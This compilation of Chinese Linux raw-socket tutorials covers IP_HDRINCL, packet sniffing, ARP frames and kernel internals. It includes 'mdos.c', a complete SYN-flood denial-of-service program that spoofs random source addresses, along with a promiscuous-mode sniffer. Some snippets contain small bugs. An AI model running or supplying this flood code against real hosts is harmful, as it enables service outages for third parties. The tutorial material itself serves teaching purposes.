Linux网络编程:原始套接字的魔力【上】
http://blog.chinaunix.net/uid-23069658-id-3280895.html
基于原始套接字编程
在开发面向连接的TCP和面向无连接的UDP程序时,我们所关心的核心问题在于数据收发层面,数据的传输特性由TCP或UDP来保证:
也就是说,对于TCP或UDP的程序开发,焦点在Data字段,我们没法直接对TCP或UDP头部字段进行赤裸裸的修改,当然还有IP头。换句话说,我们对它们头部操作的空间非常受限,只能使用它们已经开放给我们的诸如源、目的IP,源、目的端口等等。
今天我们讨论一下原始套接字的程序开发,用它作为入门协议栈的进阶跳板太合适不过了。OK闲话不多说,进入正题。
原始套接字的创建方法也不难:socket(AF_INET, SOCK_RAW, protocol)。
重点在protocol字段,这里就不能简单的将其值为0了。在头文件netinet/in.h中定义了系统中该字段目前能取的值,注意:有些系统中不一定实现了netinet/in.h中的所有协议。源代码的linux/in.h中和netinet/in.h中的内容一样。
我们常见的有IPPROTO_TCP,IPPROTO_UDP和IPPROTO_ICMP,在博文“(十六)洞悉linux下的Netfilter&iptables:开发自己的hook函数【实战】(下) ”中我们见到该protocol字段为IPPROTO_RAW时的情形,后面我们会详细介绍。
用这种方式我就可以得到原始的IP包了,然后就可以自定义IP所承载的具体协议类型,如TCP,UDP或ICMP,并手动对每种承载在IP协议之上的报文进行填充。接下来我们看个最著名的例子DOS攻击的示例代码,以便大家更好的理解如何基于原始套接字手动去封装我们所需要TCP报文。
先简单复习一下TCP报文的格式,因为我们本身不是讲协议的设计思想,所以只会提及和我们接下来主题相关的字段,如果想对TCP协议原理进行深入了解那么《TCP/IP详解卷1》无疑是最好的选择。
我们目前主要关注上面着色部分的字段就OK了,接下来再看看TCP3次握手的过程。TCP的3次握手的一般流程是:
(1) 第一次握手:建立连接时,客户端A发送SYN包(SEQ_NUMBER=j)到服务器B,并进入SYN_SEND状态,等待服务器B确认。
(2) 第二次握手:服务器B收到SYN包,必须确认客户A的SYN(ACK_NUMBER=j+1),同时自己也发送一个SYN包(SEQ_NUMBER=k),即SYN+ACK包,此时服务器B进入SYN_RECV状态。
(3) 第三次握手:客户端A收到服务器B的SYN+ACK包,向服务器B发送确认包ACK(ACK_NUMBER=k+1),此包发送完毕,客户端A和服务器B进入ESTABLISHED状态,完成三次握手。
至此3次握手结束,TCP通路就建立起来了,然后客户端与服务器开始交互数据。上面描述过程中,SYN包表示TCP数据包的标志位syn=1,同理,ACK表示TCP报文中标志位ack=1,SYN+ACK表示标志位syn=1和ack=1同时成立。
原始套接字还提供了一个非常有用的参数IP_HDRINCL:
1、当开启该参数时:我们可以从IP报文首部第一个字节开始依次构造整个IP报文的所有选项,但是IP报文头部中的标识字段(设置为0时)和IP首部校验和字段总是由内核自己维护的,不需要我们关心。
2、如果不开启该参数:我们所构造的报文是从IP首部之后的第一个字节开始,IP首部由内核自己维护,首部中的协议字段被设置成调用socket()函数时我们所传递给它的第三个参数。
开启IP_HDRINCL特性的模板代码一般为:
const int on =1;
if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){
printf("setsockopt error!\n");
}
所以,我们还得复习一下IP报文的首部格式:
同样,我们重点关注IP首部中的着色部分区段的填充情况。
有了上面的知识做铺垫,接下来DOS示例代码的编写就相当简单了。我们来体验一下手动构造原生态IP报文的乐趣吧:
点击(此处)折叠或打开
//mdos.c
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <linux/tcp.h>
//我们自己写的攻击函数
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
//如果什么都让内核做,那岂不是忒不爽了,咱也试着计算一下校验和。
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char** argv){
int skfd;
struct sockaddr_in target;
struct hostent *host;
const int on=1;
unsigned short srcport;
if(argc!=2)
{
printf("Usage:%s target dstport srcport\n",argv[0]);
exit(1);
}
bzero(&target,sizeof(struct sockaddr_in));
target.sin_family=AF_INET;
target.sin_port=htons(atoi(argv[2]));
if(inet_aton(argv[1],&target.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
printf("TargetName Error:%s\n",hstrerror(h_errno));
exit(1);
}
target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
//将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
perror("Create Error");
exit(1);
}
//用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文
if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
perror("IP_HDRINCL failed");
exit(1);
}
//因为只有root用户才可以play with raw socket :)
setuid(getpid());
srcport = atoi(argv[3]);
attack(skfd,&target,srcport);
}
//在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){
char buf[128]={0};
struct ip *ip;
struct tcphdr *tcp;
int ip_len;
//在我们TCP的报文中Data没有字段,所以整个IP报文的长度
ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
//开始填充IP首部
ip=(struct ip*)buf;
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip)>>2;
ip->ip_tos = 0;
ip->ip_len = htons(ip_len);
ip->ip_id=0;
ip->ip_off=0;
ip->ip_ttl=MAXTTL;
ip->ip_p=IPPROTO_TCP;
ip->ip_sum=0;
ip->ip_dst=target->sin_addr;
//开始填充TCP首部
tcp = (struct tcphdr*)(buf+sizeof(struct ip));
tcp->source = htons(srcport);
tcp->dest = target->sin_port;
tcp->seq = random();
tcp->doff = 5;
tcp->syn = 1;
tcp->check = 0;
while(1){
//源地址伪造,我们随便任意生成个地址,让服务器一直等待下去
ip->ip_src.s_addr = random();
tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));
}
}
//关于CRC校验和的计算,网上一大堆,我就“拿来主义”了
unsigned short check_sum(unsigned short *addr,int len){
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
用前面我们自己编写TCP服务器端程序来做本地测试,看看效果。先把服务器端程序启动起来,如下:
然后,我们编写的“捣蛋”程序登场了:
该“mdos”命令执行一段时间后,服务器端的输出如下:
因为我们的源IP地址是随机生成的,源端口固定为8888,服务器端收到我们的SYN报文后,会为其分配一条连接资源,并将该连接的状态置为SYN_RECV,然后给客户端回送一个确认,并要求客户端再次确认,可我们却不再bird别个了,这样就会造成服务端一直等待直到超时。
备注:本程序仅供交流分享使用,不要做恶,不然后果自负哦。
最后补充一点,看到很多新手经常对struct ip{}和struct iphdr{},struct icmp{}和struct icmphdr{}纠结来纠结去了,不知道何时该用哪个。在/usr/include/netinet目录这些结构所属头文件的定义,头文件中对这些结构也做了很明确的说明,这里我们简单总结一下:
struct ip{}、struct icmp{}是供BSD系统层使用,struct iphdr{}和struct icmphdr{}是在INET层调用。同理tcphdr和udphdr分别都已经和谐统一了,参见tcp.h和udp.h。
BSD和INET的解释在协议栈篇章详细论述,这里大家可以简单这样来理解:我们在用户空间的编写网络应用程序的层次就叫做BSD层。所以我们该用什么样的数据结构呢?良好的编程习惯当然是BSD层推荐我们使用的,struct ip{}、struct icmp{}。至于INET层的两个同类型的结构体struct iphdr{}和struct icmphdr{}能用不?我只能说不建议。看个例子:
我们可以看到无论BSD还是INET层的IP数据包结构体大小是相等的,ICMP报文的大小有差异。而我们知道ICMP报头应该是8字节,那么BSD层为什么是28字节呢?留给大家思考。也就是说,我们这个mdos.c的实例程序中除了用struct ip{}之外还可以用INET层的struct iphdr{}结构。将如下代码:
点击(此处)折叠或打开
struct ip *ip;
…
ip=(struct ip*)buf;
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip)>>2;
ip->ip_tos = 0;
ip->ip_len = htons(ip_len);
ip->ip_id=0;
ip->ip_off=0;
ip->ip_ttl=MAXTTL;
ip->ip_p=IPPROTO_TCP;
ip->ip_sum=0;
ip->ip_dst=target->sin_addr;
…
ip->ip_src.s_addr = random();
改成:
点击(此处)折叠或打开
struct iphdr *ip;
…
ip=(struct iphdr*)buf;
ip->version = IPVERSION;
ip->ihl = sizeof(struct ip)>>2;
ip->tos = 0;
ip->tot_len = htons(ip_len);
ip->id=0;
ip->frag_off=0;
ip->ttl=MAXTTL;
ip->protocol=IPPROTO_TCP;
ip->check=0;
ip->daddr=target->sin_addr.s_addr;
…
ip->saddr = random();
结果请童鞋们自己验证。虽然结果一样,但在BSD层直接使用INET层的数据结构还是不被推荐的。
小结:
1、IP_HDRINCL选项可以使我们控制到底是要从IP头部第一个字节开始构造我们的原始报文或者从IP头部之后第一个数据字节开始。
2、只有超级用户才能创建原始套接字。
3、原始套接字上也可以调用connet、bind之类的函数,但都不常见。原因请大家回顾一下这两个函数的作用。想不起来的童鞋回头复习一下前两篇的内容吧。
========
Linux网络编程:原始套接字的魔力【下】
可以接收链路层MAC帧的原始套接字
前面我们介绍过了通过原始套接字socket(AF_INET, SOCK_RAW, protocol)我们可以直接实现自行构造整个IP报文,然后对其收发。提醒一点,在用这种方式构造原始IP报文时,第三个参数protocol不能用IPPROTO_IP,这样会让系统疑惑,不知道该用什么协议来伺候你了。
今天我们介绍原始套接字的另一种用法:直接从链路层收发数据帧,听起来好像很神奇的样子。在Linux系统中要从链路层(MAC)直接收发数帧,比较普遍的做法就是用libpcap和libnet两个动态库来实现。但今天我们就要用原始套接字来实现这个功能。
这里的2字节帧类型用来指示该数据帧所承载的上层协议是IP、ARP或其他。
为了实现直接从链路层收发数据帧,我们要用到原始套接字的如下形式:
socket(PF_PACKET, type, protocol)
1、其中type字段可取SOCK_RAW或SOCK_DGRAM。它们两个都使用一种与设备无关的标准物理层地址结构struct sockaddr_ll{},但具体操作的报文格式不同:
SOCK_RAW:直接向网络硬件驱动程序发送(或从网络硬件驱动程序接收)没有任何处理的完整数据报文(包括物理帧的帧头),这就要求我们必须了解对应设备的物理帧帧头结构,才能正确地装载和分析报文。也就是说我们用这种套接字从网卡驱动上收上来的报文包含了MAC头部,如果我们要用这种形式的套接字直接向网卡发送数据帧,那么我们必须自己组装我们MAC头部。这正符合我们的需求。
SOCK_DGRAM:这种类型的套接字对于收到的数据报文的物理帧帧头会被系统自动去掉,然后再将其往协议栈上层传递;同样地,在发送时数据时,系统将会根据sockaddr_ll结构中的目的地址信息为数据报文添加一个合适的MAC帧头。
2、protocol字段,常见的,一般情况下该字段取ETH_P_IP,ETH_P_ARP,ETH_P_RARP或ETH_P_ALL,当然链路层协议很多,肯定不止我们说的这几个,但我们一般只关心这几个就够我们用了。这里简单提一下网络数据收发的一点基础。协议栈在组织数据收发流程时需要处理好两个方面的问题:“从上倒下”,即数据发送的任务;“从下到上”,即数据接收的任务。数据发送相对接收来说要容易些,因为对于数据接收而言,网卡驱动还要明确什么样的数据该接收、什么样的不该接收等问题。protocol字段可选的四个值及其意义如下:
protocol
值
作用
ETH_P_IP
0X0800
只接收发往目的MAC是本机的IP类型的数据帧
ETH_P_ARP
0X0806
只接收发往目的MAC是本机的ARP类型的数据帧
ETH_P_RARP
0X8035
只接受发往目的MAC是本机的RARP类型的数据帧
ETH_P_ALL
0X0003
接收发往目的MAC是本机的所有类型(ip,arp,rarp)的数据帧,同时还可以接收从本机发出去的所有数据帧。在混杂模式打开的情况下,还会接收到发往目的MAC为非本地硬件地址的数据帧。
protocol字段可取的所有协议参见/usr/include/linux/if_ether.h头文件里的定义。
最后,格外需要留心一点的就是,发送数据的时候需要自己组织整个以太网数据帧。和地址相关的结构体就不能再用前面的struct sockaddr_in{}了,而是struct sockaddr_ll{},如下:
点击(此处)折叠或打开
struct sockaddr_ll{
unsigned short sll_family; /* 总是 AF_PACKET */
unsigned short sll_protocol; /* 物理层的协议 */
int sll_ifindex; /* 接口号 */
unsigned short sll_hatype; /* 报头类型 */
unsigned char sll_pkttype; /* 分组类型 */
unsigned char sll_halen; /* 地址长度 */
unsigned char sll_addr[8]; /* 物理层地址 */
};
sll_protocoll:取值在linux/if_ether.h中,可以指定我们所感兴趣的二层协议;
sll_ifindex:置为0表示处理所有接口,对于单网卡的机器就不存在“所有”的概念了。如果你有多网卡,该字段的值一般通过ioctl来搞定,模板代码如下,如果我们要获取eth0接口的序号,可以使用如下代码来获取:
点击(此处)折叠或打开
struct sockaddr_ll sll;
struct ifreq ifr;
strcpy(ifr.ifr_name, "eth0");
ioctl(sockfd, SIOCGIFINDEX, &ifr);
sll.sll_ifindex = ifr.ifr_ifindex;
sll_hatype:ARP硬件地址类型,定义在 linux/if_arp.h 中。 取ARPHRD_ETHER时表示为以太网。
sll_pkttype:包含分组类型。目前,有效的分组类型有:目标地址是本地主机的分组用的 PACKET_HOST,物理层广播分组用的 PACKET_BROADCAST ,发送到一个物理层多路广播地址的分组用的 PACKET_MULTICAST,在混杂(promiscuous)模式下的设备驱动器发向其他主机的分组用的 PACKET_OTHERHOST,源于本地主机的分组被环回到分组套接口用的 PACKET_OUTGOING。这些类型只对接收到的分组有意义。
sll_addr和sll_halen指示物理层(如以太网,802.3,802.4或802.5等)地址及其长度,严格依赖于具体的硬件设备。类似于获取接口索引sll_ifindex,要获取接口的物理地址,可以采用如下代码:
点击(此处)折叠或打开
struct ifreq ifr;
strcpy(ifr.ifr_name, "eth0");
ioctl(sockfd, SIOCGIFHWADDR, &ifr);
缺省情况下,从任何接口收到的符合指定协议的所有数据报文都会被传送到原始PACKET套接字口,而使用bind系统调用并以一个sochddr_ll结构体对象将PACKET套接字与某个网络接口相绑定,就可使我们的PACKET原始套接字只接收指定接口的数据报文。
接下来我们简单介绍一下网卡是怎么收报的,如果你对这部分已经很了解可以跳过这部分内容。网卡从线路上收到信号流,网卡的驱动程序会去检查数据帧开始的前6个字节,即目的主机的MAC地址,如果和自己的网卡地址一致它才会接收这个帧,不符合的一般都是直接无视。然后该数据帧会被网络驱动程序分解,IP报文将通过网络协议栈,最后传送到应用程序那里。往上层传递的过程就是一个校验和“剥头”的过程,由协议栈各层去实现。
接下来我们来写个简单的抓包程序,将那些发给本机的IPv4报文全打印出来:
点击(此处)折叠或打开
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
int main(int argc, char **argv) {
int sock, n;
char buffer[2048];
struct ethhdr *eth;
struct iphdr *iph;
if (0>(sock=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)))) {
perror("socket");
exit(1);
}
while (1) {
printf("=====================================\n");
//注意:在这之前我没有调用bind函数,原因是什么呢?
n = recvfrom(sock,buffer,2048,0,NULL,NULL);
printf("%d bytes read\n",n);
//接收到的数据帧头6字节是目的MAC地址,紧接着6字节是源MAC地址。
eth=(struct ethhdr*)buffer;
printf("Dest MAC addr:%02x:%02x:%02x:%02x:%02x:%02x\n",eth->h_dest[0],eth->h_dest[1],eth->h_dest[2],eth->h_dest[3],eth->h_dest[4],eth->h_dest[5]);
printf("Source MAC addr:%02x:%02x:%02x:%02x:%02x:%02x\n",eth->h_source[0],eth->h_source[1],eth->h_source[2],eth->h_source[3],eth->h_source[4],eth->h_source[5]);
iph=(struct iphdr*)(buffer+sizeof(struct ethhdr));
//我们只对IPV4且没有选项字段的IPv4报文感兴趣
if(iph->version ==4 && iph->ihl == 5){
printf("Source host:%s\n",inet_ntoa(iph->saddr));
printf("Dest host:%s\n",inet_ntoa(iph->daddr));
}
}
}
编译,然后运行,要以root身份才可以运行该程序:
正如我们前面看到的,网卡丢弃所有不含有主机MAC地址00:0C:29:BA:CB:61的数据包,这是因为网卡处于非混杂模式,即每个网卡只处理源地址是它自己的帧!
这里有三个例外的情况:
1、如果一个帧的目的MAC地址是一个受限的广播地址(255.255.255.255)那么它将被所有的网卡接收。
2、如果一个帧的目的地址是组播地址,那么它将被那些打开组播接收功能的网卡所接收。
3、网卡如被设置成混杂模式,那么它将接收所有流经它的数据包。
前面我们刚好提到过网卡的混杂模式,现在我们就来迫不及待的实践一哈看看混杂模式是否可以让我们抓到所有数据包,只要在while循环前加上如下代码就OK了:
点击(此处)折叠或打开
struct ifreq ethreq;
… …
strncpy(ethreq.ifr_name,"eth0",IFNAMSIZ);
if(-1 == ioctl(sock,SIOCGIFFLAGS,ðreq)){
perror("ioctl");
close(sock);
exit(1);
}
ethreq.ifr_flags |=IFF_PROMISC;
if(-1 == ioctl(sock,SIOCGIFFLAGS,ðreq)){
perror("ioctl");
close(sock);
exit(1);
}
while(1){
… …
}
至此,我们一个网络抓包工具的雏形就出现了。大家可以基于此做更多的练习,加上多线程机制,对收到的不同类型的数据包做不同处理等等,反正由你发挥的空间是相当滴大,“狐狸未成精,只因太年轻”。把这块吃透了,后面理解协议栈就会相当轻松。
========
Linux网络编程:原始套接字的魔力【续
如何从链路层直接发送数据帧
本来以为这部分都弄完了,结果有朋友反映说看了半天还是没看到如何从链路层直接发送数据。因为上一篇里面提到的是从链路层“收发”数据,结果只“收”完,忘了“发”,实在抱歉,所以就有这篇续出来了。
上一节我们主要研究了如何从链路层直接接收数据帧,可以通过bind函数来将原始套接字绑定到本地一个接口上,然后该套接字就只接收从该接口收上来的对应的数据包。今天我们用原始套接字来手工实现链路层ARP报文的发送和接收,以便大家对原始套接字有更深刻的掌握和理解。
ARP全称为地址解析协议,是链路层广泛使用的一种寻址协议,完成32比特IP地址到48比特MAC地址的映射转换。在以太网中,当一台主机需要向另外一台主机发送消息时,它会首先在自己本地的ARP缓存表中根据目的主机的IP地址查找其对应的MAC地址,如果找到了则直接向其发送消息。如果未找到,它首先会在全网发送一个ARP广播查询,这个查询的消息会被以太网中所有主机接收到,然后每个主机就根据ARP查询报文中所指定的IP地址来检查该报文是不是发给自己的,如果不是则直接丢弃;只有被查询的目的主机才会对这个消息进行响应,然后将自己的MAC地址通告给发送者。
也就是说,链路层中是根据MAC地址来确定唯一一台主机。以太帧格式如下:
以太帧首部中2字节的帧类型字段指定了其上层所承载的具体协议,常见的有0x0800表示是IP报文、0x0806表示RARP协议、0x0806即为我们将要讨论的ARP协议。
硬件类型: 1表示以太网。
协议类型: 0x0800表示IP地址。和以太头部中帧类型字段相同。
硬件地址长度和协议地址长度:对于以太网中的ARP协议而言,分别为6和4;
操作码:1表示ARP请求;2表示ARP应答;3表示RARP请求;4表示RARP应答。
我们这里只讨论硬件地址为以太网地址、协议地址为IP地址的情形,所以剩下四个字段就分别表示发送方的MAC和IP地址、接收方的MAC和IP地址了。
注意:对于一个ARP请求报文来说,除了接收方硬件地址外,其他字段都要填充。当系统收到一个ARP请求时,会查询该请求报文中接收方的协议地址是否和自己的IP地址相等,如果相等,它就把自己的硬件地址和协议地址填充进去,将发送和接收方的地址互换,然后将操作码改为2,发送回去。
下面看一个使用原始套接字发送ARP请求的例子:
点击(此处)折叠或打开
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <net/ethernet.h>
#define BUFLEN 42
int main(int argc,char** argv){
int skfd,n;
char buf[BUFLEN]={0};
struct ether_header *eth;
struct ether_arp *arp;
struct sockaddr_ll toaddr;
struct in_addr targetIP,srcIP;
struct ifreq ifr;
unsigned char src_mac[ETH_ALEN]={0};
unsigned char dst_mac[ETH_ALEN]={0xff,0xff,0xff,0xff,0xff,0xff}; //全网广播ARP请求
if(3 != argc){
printf("Usage: %s netdevName dstIP\n",argv[0]);
exit(1);
}
if(0>(skfd=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL)))){
perror("Create Error");
exit(1);
}
bzero(&toaddr,sizeof(toaddr));
bzero(&ifr,sizeof(ifr));
strcpy(ifr.ifr_name,argv[1]);
//获取接口索引
if(-1 == ioctl(skfd,SIOCGIFINDEX,&ifr)){
perror("get dev index error:");
exit(1);
}
toaddr.sll_ifindex = ifr.ifr_ifindex;
printf("interface Index:%d\n",ifr.ifr_ifindex);
//获取接口IP地址
if(-1 == ioctl(skfd,SIOCGIFADDR,&ifr)){
perror("get IP addr error:");
exit(1);
}
srcIP.s_addr = ((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr.s_addr;
printf("IP addr:%s\n",inet_ntoa(((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr));
//获取接口的MAC地址
if(-1 == ioctl(skfd,SIOCGIFHWADDR,&ifr)){
perror("get dev MAC addr error:");
exit(1);
}
memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
printf("MAC :%02X-%02X-%02X-%02X-%02X-%02X\n",src_mac[0],src_mac[1],src_mac[2],src_mac[3],src_mac[4],src_mac[5]);
//开始填充,构造以太头部
eth=(struct ether_header*)buf;
memcpy(eth->ether_dhost,dst_mac,ETH_ALEN);
memcpy(eth->ether_shost,src_mac,ETH_ALEN);
eth->ether_type = htons(ETHERTYPE_ARP);
//手动开始填充用ARP报文首部
arp=(struct arphdr*)(buf+sizeof(struct ether_header));
arp->arp_hrd = htons(ARPHRD_ETHER); //硬件类型为以太
arp->arp_pro = htons(ETHERTYPE_IP); //协议类型为IP
//硬件地址长度和IPV4地址长度分别是6字节和4字节
arp->arp_hln = ETH_ALEN;
arp->arp_pln = 4;
//操作码,这里我们发送ARP请求
arp->arp_op = htons(ARPOP_REQUEST);
//填充发送端的MAC和IP地址
memcpy(arp->arp_sha,src_mac,ETH_ALEN);
memcpy(arp->arp_spa,&srcIP,4);
//填充目的端的IP地址,MAC地址不用管
inet_pton(AF_INET,argv[2],&targetIP);
memcpy(arp->arp_tpa,&targetIP,4);
toaddr.sll_family = PF_PACKET;
n=sendto(skfd,buf,BUFLEN,0,(struct sockaddr*)&toaddr,sizeof(toaddr));
close(skfd);
return 0;
}
结果如下:
可以看到,我向网关发送一个ARP查询请求,报文中携带了网关的IP地址以及我本地主机的IP和MAC地址。网关收到该请求后,对我的这个报文进行了回应,将它的MAC地址在ARP应答报文中发给我了。
在这个示例程序中,我们完全自己手动构造了以太帧头部,并完成了整个ARP请求报文的填充,最后用sendto函数,将我们的数据通过eth0接口发送出去。这个程序的灵活性还在于支持多网卡,使用时只要指定网卡名称(如eth0或eth1),程序便会自动去获取指定接口相应的IP和MAC地址,然后用它们去填充ARP请求报文中对应的各字段。
在头文件里,主要对以太帧首部进行了封装:
点击(此处)折叠或打开
struct ether_header
{
u_int8_t ether_dhost[ETH_ALEN]; /* destination eth addr */
u_int8_t ether_shost[ETH_ALEN]; /* source ether addr */
u_int16_t ether_type; /* packet type ID field */
} __attribute__ ((__packed__));
在头文件中,对ARP首部进行了封装:
点击(此处)折叠或打开
struct arphdr
{
unsigned short ar_hrd; /* format of hardware address */
unsigned short ar_pro; /* format of protocol address */
unsigned char ar_hln; /* length of hardware address */
unsigned char ar_pln; /* length of protocol address */
unsigned short ar_op; /* ARP opcode (command) */
}
而头文件里,又对ARP整个报文进行了封装:
点击(此处)折叠或打开
struct ether_arp {
struct arphdr ea_hdr; /* fixed-size 8 bytes header */
u_int8_t arp_sha[ETH_ALEN]; /* sender hardware address */
u_int8_t arp_spa[4]; /* sender protocol address */
u_int8_t arp_tha[ETH_ALEN]; /* target hardware address */
u_int8_t arp_tpa[4]; /* target protocol address */
};
#define arp_hrd ea_hdr.ar_hrd
#define arp_pro ea_hdr.ar_pro
#define arp_hln ea_hdr.ar_hln
#define arp_pln ea_hdr.ar_pln
#define arp_op ea_hdr.ar_op
最后再看一个简单的接收ARP报文的小程序:
点击(此处)折叠或打开
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <netpacket/packet.h>
#include <net/if.h>
#define BUFLEN 60
int main(int argc,char** argv){
int i,skfd,n;
char buf[ETH_FRAME_LEN]={0};
struct ethhdr *eth;
struct ether_arp *arp;
struct sockaddr_ll fromaddr;
struct ifreq ifr;
unsigned char src_mac[ETH_ALEN]={0};
if(2 != argc){
printf("Usage: %s netdevName\n",argv[0]);
exit(1);
}
//只接收发给本机的ARP报文
if(0>(skfd=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP)))){
perror("Create Error");
exit(1);
}
bzero(&fromaddr,sizeof(fromaddr));
bzero(&ifr,sizeof(ifr));
strcpy(ifr.ifr_name,argv[1]);
//获取接口索引
if(-1 == ioctl(skfd,SIOCGIFINDEX,&ifr)){
perror("get dev index error:");
exit(1);
}
fromaddr.sll_ifindex = ifr.ifr_ifindex;
printf("interface Index:%d\n",ifr.ifr_ifindex);
//获取接口的MAC地址
if(-1 == ioctl(skfd,SIOCGIFHWADDR,&ifr)){
perror("get dev MAC addr error:");
exit(1);
}
memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
printf("MAC :%02X-%02X-%02X-%02X-%02X-%02X\n",src_mac[0],src_mac[1],src_mac[2],src_mac[3],src_mac[4],src_mac[5]);
fromaddr.sll_family = PF_PACKET;
fromaddr.sll_protocol=htons(ETH_P_ARP);
fromaddr.sll_hatype=ARPHRD_ETHER;
fromaddr.sll_pkttype=PACKET_HOST;
fromaddr.sll_halen=ETH_ALEN;
memcpy(fromaddr.sll_addr,src_mac,ETH_ALEN);
bind(skfd,(struct sockaddr*)&fromaddr,sizeof(struct sockaddr));
while(1){
memset(buf,0,ETH_FRAME_LEN);
n=recvfrom(skfd,buf,ETH_FRAME_LEN,0,NULL,NULL);
eth=(struct ethhdr*)buf;
arp=(struct ether_arp*)(buf+14);
printf("Dest MAC:");
for(i=0;i<ETH_ALEN;i++){
printf("%02X-",eth->h_dest[i]);
}
printf("Sender MAC:");
for(i=0;i<ETH_ALEN;i++){
printf("%02X-",eth->h_source[i]);
}
printf("\n");
printf("Frame type:%0X\n",ntohs(eth->h_proto));
if(ntohs(arp->arp_op)==2){
printf("Get an ARP replay!\n");
}
}
close(skfd);
return 0;
}
该示例程序中,调用recvfrom之前我们调用了bind系统调用,目的是仅从指定的接口接收ARP报文(由socket函数的第三个参数“ETH_P_ARP”决定)。可以对比一下,该程序与博文“Linux网络编程:原始套接字的魔力【下】”里介绍的抓包程序的区别。
小结:通过这几个章节的热身,相信大家对网络编程中常见的一系列API函数socket,bind,listen,connect,sendto,recvfrom,close等的认识应该会有一个较高的突破。当然,你也必须赶快对它们熟悉起来,因为后面我们不但要“知其然”,还要知其“所以然”。后面,我们会以这些函数调用为主线,看看它们到底在内核中做些哪些事情,而这又对我们理解协议栈的实现原理有什么帮助做进一步的分析和讨论。
========
Linux原始套接字实现分析
http://www.cnblogs.com/davidwang456/p/3463291.html
本文从IPV4协议栈原始套接字的分类入手,详细介绍了链路层和网络层原始套接字的特点及其内核实现细节。并结合原始套接字的实际应用,说明各类型原始套接字的适应范围,以及在实际使用时需要注意的问题。
一、原始套接字概述
协议栈的原始套接字从实现上可以分为“链路层原始套接字”和“网络层原始套接字”两大类。本节主要描述各自的特点及其适用范围。
链路层原始套接字可以直接用于接收和发送链路层的MAC帧,在发送时需要由调用者自行构造和封装MAC首部。而网络层原始套接字可以直接用于接收和发送IP层的报文数据,在发送时需要自行构造IP报文头(取决是否设置IP_HDRINCL选项)。
1.1 链路层原始套接字
链路层原始套接字调用socket()函数创建。第一个参数指定协议族类型为PF_PACKET,第二个参数type可以设置为SOCK_RAW或SOCK_DGRAM,第三个参数是协议类型(该参数只对报文接收有意义)。协议类型protocol不同取值的意义具体见表1所示:
socket(PF_PACKET, type, htons(protocol))
a) 参数type设置为SOCK_RAW时,套接字接收和发送的数据都是从MAC首部开始的。在发送时需要由调用者从MAC首部开始构造和封装报文数据。type设置为SOCK_RAW的情况应用是比较多的,因为某些项目会使用到自定义的二层报文类型。
socket(PF_PACKET, SOCK_RAW, htons(protocol))
b) 参数type设置为SOCK_DGRAM时,套接字接收到的数据报文会将MAC首部去掉。同时在发送时也不需要再手动构造MAC首部,只需要从IP首部(或ARP首部,取决于封装的报文类型)开始构造即可,而MAC首部的填充由内核实现的。若对于MAC首部不关心的场景,可以使用这种类型,这种用法用得比较少。
socket(PF_PACKET, SOCK_DGRAM, htons(protocol))
表1 protocol不同取值
protocol
值
作用
ETH_P_ALL
0x0003
报收本机收到的所有二层报文
ETH_P_IP
0x0800
报收本机收到的所有IP报文
ETH_P_ARP
0x0806
报收本机收到的所有ARP报文
ETH_P_RARP
0x8035
报收本机收到的所有RARP报文
自定义协议
比如0x0810
报收本机收到的所有类型为0x0810的二层报文
不指定
0
不能用于接收,只用于发送
……
……
……
表1中protocol的取值中有两个值是比较特殊的。当protocol为ETH_P_ALL时,表示能够接收本机收到的所有二层报文(包括IP, ARP, 自定义二层报文等),同时这种类型套接字还能够将外发的报文再收回来。当protocol为0时,表示该套接字不能用于接收报文,只能用于发送。具体的实现细节在2.2节中会详细介绍。
1.2 网络层原始套接字
